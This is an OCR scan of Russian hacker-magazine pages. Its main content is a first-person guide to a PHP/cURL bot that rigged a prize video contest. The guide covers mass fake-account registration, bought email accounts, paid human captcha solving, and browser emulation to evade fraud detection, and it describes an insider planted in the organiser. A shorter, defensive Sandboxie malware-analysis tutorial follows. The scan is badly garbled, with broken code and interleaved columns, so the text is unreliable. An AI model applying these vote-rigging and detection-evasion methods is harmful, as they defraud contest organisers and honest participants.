ЗАГР УЗ К А ВСЕЙ СТРАНИЦЫ Еще один момент, который может по казаться излишним,
-
это вы
Еf'.1аЙll: ,,,. Гli:'J H11!-r '
полнение абсолютно всех запросов, которые выполняет браузер. 80З
Парат) к е~1айлу:
никает соблазн отправить минимум запросов с данными. Но это было
ПаРОI1Ь к сайту:
(I, !t ' •• 11' 1111':\1. '11.,1,·1'111/'''1
ОТКРЫlие письма (17:37) ... Поиск идентификатора ПОl1ЬЗ0вателя
бы ошибкой. Почему? Потому, что на сайте может действовать такой
способ выявления на крутки, как, скажем, учет хитов по картинке.
(17 :38) ...
Идентификатор пользователя найден:
Поиск кода акrиваЦflИ
Это означает, что количество загрузок, например, картинки
',1 :
видеоролика должно приблизительно равняться количеству про
(17:38) ...
Код активации найден:
(I,,·.Y()IIII)!
Акrивация регистрации
(17:38) ...
Загрузка страНfЩЫ успешной активации ПОПЫГКd аВТОРЮОВdП)СЯ
смотров этого видео. Количество посещений всегда должно превы
шать [раза в два-четыреl количество голосов. Таким образом, мы будем не только накручивать голоса с помощью левых аккаунтов,
(1/:38) .. .
но и эмулировать « батов », просматривающих видео. Лично я взял
(17:39) ...
Авторизация ПрОШl1d успешно, загрузка главной страницы
(17:39) ...
Г!iРSЕSSID=Ьс8886аЬОа70fсd9с369dбеа8887776d; BIRTHDAY=9~7
1982;
IS 180LDER:-:-l;
соотношение
1 : 3,
чтобы на три просмотра приходился один голос.
Ноеслигрузитьтолькостраницупросмотравидеоlнакручивать количество npocMoTPOBI, то нужно также не забывать загружать и весь остальной контент, то есть картинки, Jаvа5сгiрt-файлы,
Открыгие страницы с видеО'файлом (17:40) .. :Посылка голоса (17:41) ...
таблицы стилей и всё-всё-всё, вплоть до иконки саЙта. А как
Голос послан, ответ систе~1Ы: )11)
иначе? Для
1)(lt)()[,!lf< IHII11rl :,!f({!!PU'II,J. fJ(]\Нlн,}f'~,lllШЛ (I!I)I'"I ..
посещений картинка видеоролика будет загружена всего
100
голосов нужно
1000 посещений,
а если при
1000 20 раз,
то
это вызовет явные подозрения.
Каким же образом можно эмулировать абсолютно всю загрузку? 8едь для этого необходимо парсить страницу, скрипты, таблицы Статус работы накрутчика
ХАКЕР
02/157/2012
стилей и все остальное. Нет, парсить мы ничего не будем, точнее,
031
СОУЕ RSTO RY
многопоточно !снова смотри диск). Эта функ ция принимает массив ссылок и массив шапок
[headers), которые впоследствии загружа
ются многопоточно, что ускоряет процесс .
Также можно опционально выключить/включить загрузку самих файлов, оставив только за гр узку шапки, либо просто по сыла ть запросы, ничего не загружая. Последний п араметр функции позво ляет загрузить только определенный элемен т, если нам не нужны НТТР Headers
все остальные . Открою тебе небольшую тайну: зто приг одится при
Host: chat.freehost.com,ua User·Agent: МоziПа/5.0 (\,FondO'NS NТ 5. 1; rv:6.0.2) Ged<o/20IOOIOI Firemx/6.0.2
загрузке страницы регистрации, а именно при загрузке файла капчи .
Accept: "'1" AccepHanguage: en~s , enj q= O, S
ИЗВЛЕКАЕМ САРТСНА
Accept-Encoding: gzip, deflate
Accept<harset: ISO-SS S9-1 , u tf-8i Q=О. 7, xiQ=O. 7
Чтобы змулировать д ействия пользователя, для начала мы должны
Connection: keep...!live
зайти на главную страницу. Сделаем зто с п омощью следующего
Referer: http://parking.fi-eehost.com.ua/
кода:
Cache<onuol: max -аgе "' О НТТP/ I .I
f.UШ.tJQJ)....lQ~с!Iш;l~~О {
200 ОК
Server: nginx!1.0.2 Date : Sun,
0 4 Оес
20 11 19:25:48
... $.H~:I;...;:, .Rqr~.gВ,ечu.е.~.t.~.с.... _..........................._..................................._.. .. ......... fiJg_g~:I;JQn:t~.nt.s..С'. .Лшjе)<_l)1ар , .t кt .' ) , .. _..... _........... _.. .............$.фО.s~.[1_уs.егаg~!J.t, ... .. .......................... _... _
Content-Type; textjhb'nlj charset=utf-8 Coмection :
.. .. .... . . . . . . . . . ...............
. g 12R.91.. $c.!J2~~!]_lJ.s.er.i!g~!].t, ... icQ2/sJe_~.es.~;j,.Q!];.... _...............
GМТ
keep-alive
X -Ро'Л'егеd-Ву : PНP/5 .3. 6
Content-length: 3849 http ://fi-ееhost . сom. u./sCnр t/saipts.js
GEТ IsaiptjsCnpts.js НТТP / I .I Host: freehost,com.ua User·Agent: Мою]а/5 .0 (WondO'NS NТ 5.1; rv:6.0.2) Gecko/20 100 10 1 F. emx/6.0.2
.......... '(:QQlф~: ... '..,.. JшRl.Q!;i.ес. ; ....:.,....$~.QQJsi.е._~.g~. ~.iQJJ}};. ... i]j.п~~ . =... iJ.сс.а.у.о; ... $hе.i!Q~ ...=.. ис~у -<).; .................... _...... .... fQ г~iJ.сh... -< .$_Н~.t .. 9.:;... $J.~'n'/s...=2... $h.е.qg)С .......................... _.................. . .. .... _ ..ilJ[1.K~[] -.=. $JiJl!s; .._ .. _ .. _........ . ............_........... _...... _...... ........._ $iJ~~.c!.~. [J .. =._$.be.gc!.; ....... _.. _..... _.................... _. __ ._... _............._... _...........
_
..... }
_
_ _ _.. _
_
...... ......... .......................... ..... .......
_
_
_
........ ......... ......... ........... - .............. .
._..$Р.gg,~с!... =...~.1>1(Jи,r).!s~,... .$.h.е.g.Q.~J_ ..~.,....:),).; _..........._.~_
Accept: "!" Accept~anguage : еП "S, еп;q=Q . S
}
Accept-Encoding: gzip, deflC5te
_
_ __
_
....................................... ......... ...... .. .......................... ..... -
Accept..charset: IS0 -88 59 - 1 , utf-8j Q"' О. 7, X;q:O. 7
Как видно по вышеприведенной функции, файл
Connection : keep-alive
index_map.txt
как раз и представляет собой лог, созданный с п омощью аддо-
Referer: http ://рагЮng . fi-ееhоs t. соm . u.1 IfoМod fied ·5ince: ~Ied , 18 М . у 20 1111: 15:55 GМТ
на к
If-Nоn. оМаtch: - IОЗbd9 ·2f50 -'lddЗаабЬ '
Firefox
при загрузке всей страницы. Этот лог, кстати, также
следует немного обрабо тат ь вруч н ую, так как загружать, например,
Cache-Сon Ь'oI: ma x -аgе=Q
рекламу Гугла или файлы, размещаемые на других сай та х, н е име
ет смысла. С главной страницы перейдем на страницу регистра
< ' 5ave AlI...
I
ции. За некоторыми отличиями функция для захода на страни ц у
Replay...
регистрации будет похожа на предыдущую . Нам нужно п одготови т ь еще один лог-файл с помощью
Логи НТТР-снифера
LiveHTTPHeaders
и поправить его,
а также заменить строку
будем , но не страницу. Все можно сделать проще. Достаточно лишь воспользоваться плагином
LiveHTTPHeaders в браузере Mozilla Firefox [или же сервисом Орега Dгаgопflу из могучей Оперы)
на
и открыть с его помощью страницу, загрузку которой мы хотим
=... cI1C$li n~s,....$.h.~ ар:; ' ....1 ,...), ,_..' .С <J.Rt.ch а .,.(:1h.(:1'.).; ................_. =...
змулировать . На выходе мы получим длинный лог всех обращений
$pqg~!;i..
ко всем файлам, которые загрузил браузер. Сохраним этот лог
H~.tJ $!;_ycl.,... $sJc!.) ... e.)< R),.Qc!.e.-< .:.с;<Jр.t.с;Ь.g_~1с!=. :.J ... $1iп/s.~. [ J;I,I)~. С.еtугl)....<lгг.яу.{ ._ .................._......... _............._........... ........... _ ... _.......... ...:..~J.Q. '....=..~_. $~ i.c!J_......_.................................
в файле и напишем дв е функции. Первая будет парсить з т от лог-файл и возвращать нам массив из значений, гд е адресом за гр ужаемо г о файла служит ключ,
... _....... :JmiJge :. . =. ~.. Rj"-~.es;~_ ел~Q!;i.~.с$р.аg~с!J:J,J J.). ..... _..
а значением
.......
-
хидер текущей загрузки, причем с предустановлен
ными куки !сессией) и браузером, так как куки и браузер должны меняться при каж д ом голосова н ии [ п оскольку объем журнала крайне ограни ч ен, советую прямо сейчас найти на наш ем диске
соответствующую функцию и изучи ть ее). После сохранения лога в файле и вызова вышеупомянутой функции в виде
$JJ~.t ...
=...R~гя~в.~gч~.~:I;.~с..._..._.........................._._...................._
....fi1~_g~:I;_~Q[1:1;.~Dt.~.(
' .,. L.:i,J),(j~)Cm~R,.txt:). . .. __
..._......
...$cbQ.~.gJ:u.[~.e.r;;!.g,eJ!:t., ... _...__ ...... ..... $C;Q2/s.i.g).; ........................................ _ .......
).;.
.. ....... _.........
..._....
_
__ _
_ _.
......... .. ...... ..................... ...
В да нном с л учае будет змулирова т ься загрузка всех злемен
тов, а картинка капчи даже вп олне ус п еш но вернется . $links[11] и $paged[11 ] - зто ссылка и значение за про са для 12-го элемен та загрузки, а именно капчи, соо тв е тственно [рассчитывается на основе порядка следования файлов в логе снифера). Из ссылки выдирается
sid,
к которому при вязано значение текста с капчи.
Далее нужно разгадать капчу . В этом нам поможет известный сервис
antigate.com,
который
за символическую плату [$1 за 1000 изображений) предлагает решить капчи вручную с помощью армии китай ц ев. В моем случае
мы получим массив из всех запросов, которые выполнил брау зер при загрузке страницы.
Вторая функция называется curIMulti[) и отвечает за выполне
АРI-функция распознавания, пр е д ставленная на официаль н ом сайте , немного модифицирована. В не й я указал только п уть к со храненному файлу кап~и и ключ доступа:
ние з т их за пр осов . З д есь мы как раз вполне можем использовать многопоточность, поскольку браузер умеет загружать файлы
032
ХАКЕР
02/157/2 01 2
Как накрутить миллион
$lщаl ._': .ПJg.S.($.~.'Ч;Jt ~ Ьаl .:J!!19.g~.:J); ................................ . $wri,te_c ...=' ...fOR~r)( : . / c.apt~bi!~j.: .. $local. '....jRg ~~ ...:.W .P:) ; ............ fpyts($wr:::lt~_!;~. Ьаsеб~_с!е~р.dе($сарtсhаI.~j..ПJаgе.: ] »); ................. fс;.10sе($.\"!гi1:~_сJ; . _...__ ............. ............_................. $.~ r::~S.I.J1.t...
Please
confiгm
ОтlCого
=...
rJ~.!;.ogn.i.z.e ( ~ ../.~.i!P1:cbas l.~ .•.$1..9(<lJ.,......... . '. jpg .:',._.~.eJ4.Q !;'18~.8.b.<I сJ,fL!~еЗ:НК5 77J~.gше ~ )~ ... .
your
FUND account info
~
Кому:
SФi".i!luСrambler
Дата
Fri, 28 Od 2011 15:17:51 +0000
ru
You аге \уе1 с оте 10
Fund sho" movie contest!
Before you begln to create tI1e besl movfe еуег, YOU а ге to continn your account In10.
Те перь у нас есть ответ капчи в переменной $cresult. tl?popup=confirm_reglstratlOn&confitm_user_id=4791
step оп е : follow the Ilnk nnpll.
П РО БЛЕ МА С П О ЧТОЙ
Step t\vo: Input thls code 3nJCuDyg
Далее мы сталкиваемся с необходимостью как-то зарегистриро вать почту, чтобы позже использовать ее для активации аккаунта .
Ве
Само собой, мыло каждый раз должно быть разное . Проблему можно решить тремя способами :
1.
Зарегистрировать аккаунты на бесплатных почтовых сервера х ,
Jucky anCl lnsplreCl !
Письмо для подтверждения регистрации в конкурсе
например Яндексе или Рамблере . Конечно, если нужно большое
2.
к о личество мейлов , то придется использовать крутой автореггер
ки через расширение РНР
или купить кем -то зар е гистрированны е [опять же с помощью
сер висов осуществляется по-разному, поэтому нужно заранее
IMAP. Да, доступ к серверам почтовы х
автор е ггера)аккаунты.
узнать, какой из них нам подойдет, и лишь только потом закупать
Ку питьдомен, сх о ж ий по назв а нию с и з ве с тными почтовиками,
ся аккаунтами. Лично мне подходит аккуант на Рамблере, так ка к
и настроить с к рипт, собирающи й в один ящик почту, отправляе
никаки х проблем с проверкой почты я там никогда не испытывал .
м у ю на все адреса. Таким образом , почта, отправленная на
Далее пишем вот такую вот функцию для пол у чения тела послед
1230
домен.ру и 2340домен.ру, попадет в один ящик, а значит, можно
него письма:
смело генерировать тысячи адресов . Здесь снова н у жны деньги
пользует бесплатный сервис mаiliпаtог.пеtдля про верк и любого
f.UЛ.~1:i.ОП .. getMe.s~.i!g~C$.J,9gi,n, .. $pa.~SWQrc;l) { ... _$.Jmap = tl1J<ip_oP.enC .... ....:Jmail . rаmРJ,gС..ГJ.J.; ll(:Jj р.орЗ LЛQНsJJNfjОХ· , .. ... _.. $],Qgin,
адреса , уже зарегистрированного в с истеме . Нам нужно просто
... _.. $p.assword);................ _... _... .
и з нания .
З.
С а мый прост о й и бесплатный спо с о б - и с пользовать скрипт, который люб е зно подготовлен автором э той статьи . Скрипт ис
указатьпроизвольныйадреснадоменахэтогосервиса, а потом
з айти [без авторизации!) в соответствующий аккаунт через веб и нтерфейс и проверить почту. Всегодоступно
11
н
домен о в. Скрипт
с п о дробными комментариями по и с поль з ованиюждеттебя н а ди ск е .
($J!1li!P ).{. $.!:1ody
=.. il1J.<l.р_щ;>rtr)t(
imар_Iщgу(.$;iшар,
_... (imаJUllJПJ_[Пsg($imаlJ). .. =_.l
»); .
. J ... .....еl.~.~ {rеtlJгл .._fflJ~.~;J ....
Какой же из способов мы применим? К сожалению , нам при дется потратиться на первый вариант, так как важность момента требу ет жертв . Мы не б удем писать автореггер , а просто найдем
rеtur.n $ЬщJу; .........
}
на любом из х акер с ки х форумов продавца аккаунтов , у к отор о го мо ж но купить адреса электронной почты , под х одящие для провер-
Эта функция возвращает текст последнего письма , пришедш е го
Пример онлайн-конкурса
ХАКЕР
02/157/2 01 2
033
COVERSTORY в ящик . Подготовим все необходимые данные, а именно само мыло, имя, фамилию и пароль , для соответствующих переменных . Где взять адреса для активации аккаунтов, я рассказал выше, а мно
жество имен и фамилий легко найти винтернете. Пароль можно генерировать вот так:
РЕГИСТРАЦИЯ Теперь все готово, и мы можем написать саму функцию регистрации,
в чем нам снова поможет плагин
LiveHTTPHeaders. В
данном случае
у нас имеются POST-АаННbIе, отправленные в виде multipart/form-
data . Достаточно
просто подставить в лог со снифера свои значения
и послать их в РОSТ-запросе курла
ICURLOPT_POST, CURLOPT_
POSTFIELDS). Не забываем также о меняющемся значении заголовка
Content-
Туре и о ТОМ, что при запросе через multipart/form-data нужно генери ровать Ьоuпdагiеs. Отправляемые пакеты целесообразно сохранить где-нибудь, например в базе
MySQL, для
использования в дальней
шем. Сохранить необходимо логин и пароль от почты, пароль от акка
Основной код накрутчика
унта на сайте, юзер-агент, куки. Почему именно в дальнейшем? Потому, что сначала следует подождать, пока к нам на мейл придет активационное письмо. Но не стоит тратить время впустую,
проще и сделал так , чтобы после прохода скрипта Iбез циклов, один голос за один запуск скрипта) в браузер выкидывался код
лучше заняться регистрацией аккаунтов, чтобы их было как можно
JavaScript,
больше. Таким образом, разумно разделить весь процесс на реги
томатизацией тебе точно так же поможет и сгоп на каком-нибудь
обнавляющий страницу через одну-две минуты. С ав
страцию аккаунтов и накрутку и выполнять их, например , ночью
платном хостинге.
и днем соответственно.
Через некоторое время мы открываем сохраненные данные и ищем там логин и пароль от почты. Далее проверяем, нет ли
ПОЛУЧИЛОСЬ ИЛИ НЕТ? Что мы получили в результате? Видеоролик постепенно набирал голоса посетителей и «лайки » . Все шло гладко, посетителей при
в ящике письма :
бавлялось в три раза больше, чем лай ков . Ночью голосование я отключал, так как иначе все это было бы подозрительно . Накрутив пару тысяч голосов, мой заказчик все-таки выиграл тот самый
Если письмо пришло, то выдираем ссылку активации простой регуляркоЙ. Тут никаких особых проблем возникнуть не должно
просто формируем запрос на подтверждение регистрации lобяза тельно вставляем
referer
и добавляем куки и
user-agent,
выбранные
ранее). Опять же, не забываем про загрузку всех элементов: создаем
миллион, ну и я тоже получил небольшой пряник. Без награды не остались и еще одни участники этой истории
-
инсайдеры.
Да, ради миллиона в компанию, проводившую зто голосование, был заслан «Штирлиц», который информировал заказчика о неко торых важных деталях. Как оказалось, кроме меня, были и другие
лог-файл со всеми запросами, парсим его и повторяем действия
накрутчики, причем таких претендентов специально не снимали
браузера.
с конкурса и не обнуляли их голоса
После получения всех данных и подтверждения регистрации
нам остается только авторизоваться. Снова делаем запрос, эмули
руя браузер и сохраняем полученные куки в глобальной перемен ной . Таким же образом переходим на страницу видеоролика,
который надо накрутить, и смотрим, куда
Ajax
отправляет запрос
после нажатия на кнопку голосования. Последний шаг зтого запроса через
cURL.
-
отправка
Все запросы желательно делать с трех
-
инсайдер доложил, что
ИХ выкинут в самом конце. Насчет нас, конечно же, из начально
не возникло никаких подозрений
:1-
Занимаясь накруткой, всегда смотри на этот процесс глазами администратора. Следует обратить внимание на всё, к чему можно прикопаться: время, заголовки, сессии, куки, IP-аАрес, мыло, скорость. Эти слова сразу же наводят на мысль, что учет всех ме
лочей очень замедляет процесс. Но сроки в данном случае как раз не поджимают. Советую тебе внимательно изучить все прилагаю
пяти секундной паузой. Как же автоматизировать процесс накрутки? Можно, конечно,
использовать ЦИКЛbl, sleeplJ и прочее непотребство, но я поступил
щиеся к статье скрипты, чтобы получить полное представление о том, как работает разработанный накрутчик.::Х:
ЧТО МОЖНО НАКРУЧИВАТЬ? Партнерки
Попупярные социапьные сер висы
Гопосования с приэами
Накрутка партнерок по трафику
Вконтакте,
В статье как раз идет речь о таком
пользуется очень большим спро-
чие знаменитые сайты часто исполь-
Facebook, YouTube
и про
голосовании. Многие сайты с радо-
сом,ноздесьдалеконевсётакпрост~как
эуют разные голосования, «лайки» И другие
стью про водят всевозможные голосования,
кажется. Во-первых, придется проанализиро
средства для увеличения популярности
которые, как правило, не составляет труда
вать множество
разных объектов. Здесь также придется воз
накрутить. Но даже в самом простом случае
в страницу, во-вторых, ты, скорее всего, стол
иться с JаvаSсгiрt'ами и анализировать при
предварительно необходимо провести раз
кнешься с проблемой привязки некоторых
вязки к браузерам, а вдобавок разбираться
ведку, чтобы учесть все параметры, которые
посылаемых данных к пара метрам браузера,
с авторизацией, капчей и другими методами
могут использоваться для оценки уникально
которые не так-то просто подделать.
защиты от ботов.
сти каждого голоса.
JavaScript'oB,
встраиваемых
ХАКЕР
02 /1 57/ 2012
Preview
зо страниц журнала на одной полосе.
Тизер некоторых статей.
PCZONE ANDROIDHAPC ,О
Раньше мы стремилисьзапуститьна смартфо не приложения, которые на са мом деле предназначены для десктопных
ос. Вспомни, хотя бы aircrack или какую нибудьбанальнуюутилитудляудален
ного рабочего стола. Теперь же наоборот
-все чаще хочется прямо в Windows пощупатые приложения, которые из
начальнопоявляютсядлямобильных платформ. Эмуляторы отразработчиков настолько тормо з ные, что использовать
ихвесьмапроблематично.Какзапустить на десктопе Апdгоid-сис тем у и, скажем,
игры, которые не будутто рмозить? Или наладить камфорную отладку при раз
работке мобильных приложений? Читай в этой статье.
ВЗЛОМ
PCZONE
36
ИГРЫ В ПЕСОЧНИЦЕ
ГДЕ ХРАНИТЬ КОД?
Полный мануал по том у, как настроить
Разбираем ся, где хостить репозитории
ТОТАЛЬНЫЙДЕСТРОЙ MONGODB Отсутствие SQLB н ереля ционны х СУБД
sапdЬохнетолькодлябезопасногоза
с кодом своих разработо к. Что лучше:
не означает отсутствие возможности
п уска подозрительных приложений, но и
GitHub, BitBucket, AssembIa или может быть старый добрый SourceForge?
о безопасности баз данных NoSQL.
для подробного анализа бинарников.
СЦЕНА
выполнить инъекции . Разоблачаем миф
MALWARE
www.zeronights.ru
• ХАКЕР
ZERONIGHTS 2011 Де ся т киубойных докладов и конкурсов, невероятная хаке рская атмосфера, Оdау-шоу-так прошла конференция по информационной безопасности вПитере.
02/157/2012
•
БУРИМ АНТИВИРУС. ЕЩЕ ГЛУБЖЕ! Как устроена проактивная за щита и мо ниторинг собы тийвпопулярны х антиви русных решениях? Объясняем устройство
HIPS на пальцах.
•
ИСТОРИЯ РУТКИТОВ
Ты уже, наверное , и не вспомнишь по
• стелс-вирусы в MS-DOS-a мы
пом
ним. Выбираем наиболее наш уме вшие руткиты за последние
26 лет.
035
PCZONE
Gray Jack the Fixxxer
ИГРЬI в ПЕСОЧНИ . . . . . Е ПРИСПОСАБЛИВАЕМ SANDBOXIE .qЛЯ АНАЛИЗА ПОДОЗРИТЕЛЬНЫХ ФАИЛОВ Есть два основ н ых способа безопасно запустить подозрительный исполняемый
Неправильное использование
файл: под виртуальной машиной или
описанной методики
в так называемой «песочнице» (sandboxl.
системе и привести
может нанести вред
к заражению! Будь внимателен
Причем последнюю можно с помощью
м осторожен .
изящного способа адаптировать для
оперативного анализа файла, не прибегая к специализированным утилитам и онлайн сервисам и не используя множество ресурсов,
как в случае с виртуалкой . О нем я и хочу тебе рассказать .
« ПЕСОЧНИЦА » ДЛЯ АНАЛИЗА
зловреда, которые он выполняет после за
•
Необ хо димо ждать очере д и в процессе об
работки [в бес пл атных версияхl.
Люди , которые занимаются компьюте рно й
пуска. Еще бы, ведь если ест ь с л епок систем ы
безопасностью, хоро ш о з нак омы с кон ц е пци ей
до начала активных д ейс тви й и ка ртина то го,
« п есоч ницы ». Если вкратц е, « пе соч ница »
что произошл о в « пе со чниц е», можно л е гк о
ме н яемые в ходе выполнения, н е предостав
э та тестовая сре да , в которой вып ол ня ется
отследить вс е изменения.
ляются.
н екая пр ограмма. При этом ра бота налажена
Конечно , в Сети есть масса готовых о нлайн
таким образом, что все действия программы
сервисов, ко торы е предлагают анализ файлов:
отслеживаются, все изменяемые файлы и на
запускать любые файлы в полной уверен
Anubis [anubis .iseclab.orgl, CAMAS [c amas. со mod о . со m/cg i - Ь i n/su Ьт itl, Th reatEx pert [www.th reatexpert.coml, ThreatТrack [www. threattrack .com l. П одобные сервисы использу
ности, что на работоспособность системы это
ют разные под хо ды и имеют свои достоинства
стройки сохраняю тся, н о в реальной системе
ничего не происходит. В общем, можешь
никак не повлияет. Такие инструменты можно
и недостатки , но можно выделить и общие
использовать не только для обес п ечения
ос новны е минусы:
безопасности, но и для анализа тех действий
•
036
Не обхо д имо иметь д оступ к интернету.
•
•
Как пр а вил о, файлы, создаваемые или из
Невозможно контролировать пара метры
выполнения [в бесплатных версия х l .
•
Невозможно вмешиваться в процесс запуска
[например, нажимать на кнопки появляю щи хся OKOHI.
•
Какправил~невозможнопредоставлять специфические библиотеки, необходимые
для за п уска [в бесплат ны х версия хl .
•
Какправил~анализируютсятолькоиспол няемые РЕ -файлы .
ХАКЕР
02/157/2012
Игры в «песочнице»
Такие сервисы чаще всего строятся
Имя nporрамны
на основе виртуальных машин с установлен ным инструментарием, вплоть до отладчиков
в ~ Песочница BSA
ядра. Их можно организовать и дома. Однако зти системы достаточно требовательны к ре сур с ам и занимают большой объем на жестком дис к е, а анализ логов отладчика отнимает
много времени. Это значит, что они весьма эффективны при глубоком исследовании
Заголовок окна
PID Активно
О SandboxieRpcSs.exe
10792
О SandboxieDcomlaunch.exe
12060
О dplaysvr .ехе
11544
\> Песочница Secure
определенных образцов, но вряд ЛИ смогут
оказаться полезными в рутинной работе, когда
\> Песочница Unpack
нет возможности нагружать ресурсы системы
и тратить время на анализ. Использование «песочницы» для анализа позволяет обойтись без огромных затрат ресурсов.
Песочницы
ПАРА ПРЕДУПРЕЖДЕНИЙ
Sandboxie
не защититтебя от потери конфиденци
зада.чам . Практически всегда необходимо
Сегодня мы попробуем сделать свой соб
альной информации! Это очень важно, и об
ограничивать доступ низкого уровня и ис
ственный анализатор на основе «песочницы»,
этом следует помнить
а именно утилиты SапdЬохiе. Эта программа доступна как условно-бесплатная на сайте
..
пользование аппаратных средств для всех
выполняемых программ, чтобы не допу
ПЕРВИЧНАЯ НАСТРОЙКА SANDBOXIE
стить заражения системы руткитами. А вот
автора I www . sапdЬохiе . соm ). Для нашего ис
SапdЬохiе
следования вполне подойдет ограниченная
шим количеством настроек. Упомяну лишь те
нение, а также забирать права, наоборот,
бесплатная версия . Программа запускает
из них, которые необходимы для наших эадач .
не стоит, иначе подозрительный код будет
-
великолепный инструмент с боль
После установки
приложения в изолированной среде, так что
Sandboxie
автоматически
они не производят вредоносных изменений
создается одна «песочница». Ты можешь до
в реальной системе . Но тут есть два нюанса:
бавить еще несколько « песочниц» под раэные
•
ограничивать доступ на запуск и выпол
выполняться в нестандартной среде. Впро чем, всё, в том числе и наличие доступа к интернету, зависит от задачи.
Для наглядности и удобства в разделе
Sandboxie позволяет отслеживать только программы на уровне user mode. Вся дея
задачи. Доступ к настройкам «песочницы» осуществляется через контекстное меню.
«Поведение » рекомендуется включить
тельность вредоносного кода в режиме ядра
Как правило, все параметры, которые можно
опцию «Отображать границу вокруг окна »
не отслеживается. Поэтому максимум, что
изменять, снабжены достаточно подробным
и выбрать цвет для выделения программ,
удастся узнать при изучении руткитов-это
описанием на русском языке. Для нас особенно
выполняемых в ограниченной среде.
каким образом вредонос внедряется в си
важны параметры, перечисленные в разделах
стему.Проанализироватьсамоповедение
«Восстановление », « Удаление » и « Ограниче
на уровне kегпеl
ния » . Итак:
mode, к сожалению,
невоз
1,
можно.
В зависимости от настроек
Sandboxie
может блокировать выход в Сеть, разре
2.
шать полный доступ ил и доступ только для
отдельных программ. Понятно, что, если
4.
ПОДКЛЮЧАЕМ ПЛАГИНЫ В несколько кликов мы получили отличную
Необходимо убедиться, что в разделе «Вос
изолированную среду для безопасного вы
становление » ничего не указано.
полнения кода, но не инструмент для анализа
В разделе «Удаление» тоже не должно быть
его поведения. К счастью, автор
никаких отмеченных галок и/или добавлен
предусмотрел возможность использования
ных папок и программ .
целого ряда плагинов для своей программы.
Sandboxie
для нормального запуска вредоносу нужен
Если неправильно выставить параметры в раз
Концепция довольно интересна. Аддоны пред
выход в интернет, необходимо его предо
делах, указанных в пунктах
ставляют собой динамические библиотеки,
1 и 2,
это может
с тавить. С другой стороны, если утебя
привести к тому, что вредоносный код заразит
внедряемые в выполняемый в «песочнице»
на флешке валяется
систему или все данные для анализа будут
процесс и определенным образом регистриру
п у скается, собирает все пароли в системе
уничтожены.
ющие или модифицирующие его выполнение .
и отправляет их на ftрзлоумышленнику, то
з.
Pinch,
который за
SапdЬохiе с открытым доступом винтернет
==с-----------.;,!]
L.tot..-............
1,--------------:13
В разделе «Ограничения» необходимо вы брать настройки, соответствующие твоим
Нам понадобится несколько плагинов, которые перечислены ниже.
ЧТО УМЕЕТ И НЕ УМЕЕТ ИНСТРУМЕНТ
о
/
.
це » вспомогательных про грамм Iнапример ,
Полученный инструмент умеет:
Process Monitor) вместе с анализируемой .
ОтслеживатьАРI-вызовы запущенного при ложен ия.
Этот инструмент не может:
Отслеживать новые создаваемые файлы
•
в
Перехватывать сетевой трафик при выполне
ра). Тем не менее возможно выявить механизм
нии приложения.
установки драйвера [до его фактического
дения Iвстроенный поведенческий анали затор, анализ на
с помощью
ХАКЕР
Busler Sandbox Analyzer
02 / 157/ 201 2
VirusTotal по хешам, анализ PEiD, Exelnfo и ssdeep и т. д.) .
kernel mode [требующие установки драйве
внедрения в систему).
Проводить базовый анализ файлов и их пове
Работает
Анали з ироватьзловреды, выполняющиеся
и параметры реестра.
•
Анализировать зловреды, отслеживающие
выполнение в Sandboxie. Однако Buster Sandbox Analyzer включает в себя ряд меха
Получать некоторую дополнительную
низмов, препятствующих такому отслежива
информацию за счет выполнения в « песочни-
нию.
037
PCZONE П ути, конечно, могут отлича ться . Но порядок
1. Buster Sandbox Analyzer Ibsa.isoftware.nl l. 2. SBIExtra Ibit.ly/rDhDba l. Этот плагин осу
инжектируемых библиотек обязательно должен
ществляет перехват ряда функций для вы
...
полняемой в песочнице программы, чтобы А_
блокировать следующие возможности:
--.з
...
0 _
..........
обзор исполняемы х процессов и потоков;
•
доступ к процессам вне пределов « пе
-=-..."'="" ..,"'.......w.='
сочницы»;
)",,,J/,....... r:::ii:i::::J:::-
0:--........
вызов функции Blocklnput Iвводс кла
-
~.,...._.
.........,...
J
быть именно таким! Это требование связано с тем, что перехват функций должен осущест вляться именно в указанном порядке, иначе
плагины работать не будут. Чтобы применить
изменения, выбираем в главном окне
__
Теперь
-~. =:..--
• считывание заголовков активных окон. 3. Antidell bit.ly/upYAfYI. Аддон пере х ватывает
Analyzer. • Запускаем
го кода, все равно остаются на своих местах.
это не предусмотрено средствами интерфейса
Sandboxie,
редактировать файл конфигурации
bsa.exe из папки Plugins. «Options -7 Analysis mode-7 Manual» и далее «Options -7 Program Options -7 Windows Shell lntegration -7 Add right-click action "Run BSA"». Выбираем
Скачиваем образец малвари ДЛА анализа
настройками программы. Сразу обращаем
Теперь всё го,ово для работы: наша « песочни
внимание на следующие строки :
Параметр
FileRootPath в разделе [GlobaISettings] указывает общий путь
придется вручную. В папке, куда мы установили
к папке и зо лированной среды, то есть
Sandboxie, создаем папку Plugins и распаковы
к папке, где будут находиться все файлы
ваем в нее все подготовленные плагины. Те п ерь
« пе сочницы». У меня этот пара метр имеет
внимание : в состав
вид Fil eRootPath=C:\Sandbox\%SANDBOX%. Раздел [UserSettings_XXXXXXX] нас не инте- •
Buster Sandbox Analyzer
входит несколько библиотек с общим именем
LOG_API*.dll,
которые могут инжектироваться
в процесс . Есть два типа библиотек: и
Standard.
Verbose
Первый отображает практически пол
ный список вызовов
API,
выполняемых програм
-
сокращенный список. Сокращение
позволя етускорить работу и уменьшит ь журнал, который затем придется анализировать. Лично я не боюсь больших логов, зато опасаюсь того,
что какая-нибудь нужная инфа будет заботливо «сокращена», по этому выбираю
Verbose.
Именно
эту библиотеку мы и будем инжектировать. Чтобы зловред не смог заметить инжект библиотеки по ее имени , применим простейшую меру предо с тор ожности: сменим имя
LOG_API _VERBOSE.dll LAPD.dll. окне Sandboxie выбираем
на любое другое, например Теперь в главном
« Н астроить
-7 Редактировать конфигура
цию ». Откроется т екстовый конфиг со всеми
ца »
интегрирована в систему .
ПРАКТИЧЕСКОЕПРИМЕНЕНИ Е Попробуем наш инструмент на реальной угрозе. Чтобы никто не упрекнул меня в под тасовке, я поступил просто: зашел на
ma lwaredoma inlist .com
www.
и скачал последнее,
ресует- его пропускаем и листаем дальше.
что там появилось на момент написания
Затем идет раздел, имя которого совпадает
статьи. Это оказался премилый файл рр .ехе
с названием « песочницы » Iпусть это будет BSAI . Сюда мы и будем добавлять плагины:
с какого-то зараженного саЙта. Одно только название внушает большие надежды , кроме того , на этот файл сраэу эаорал мой антивирус .
мой, включая обращения к файлам и реестру, второй
плагин вручную, воспользовав
шись файлом
да на удаление которых поступает от исходно
Как интегрировать их в «песочницу»? Поскольку
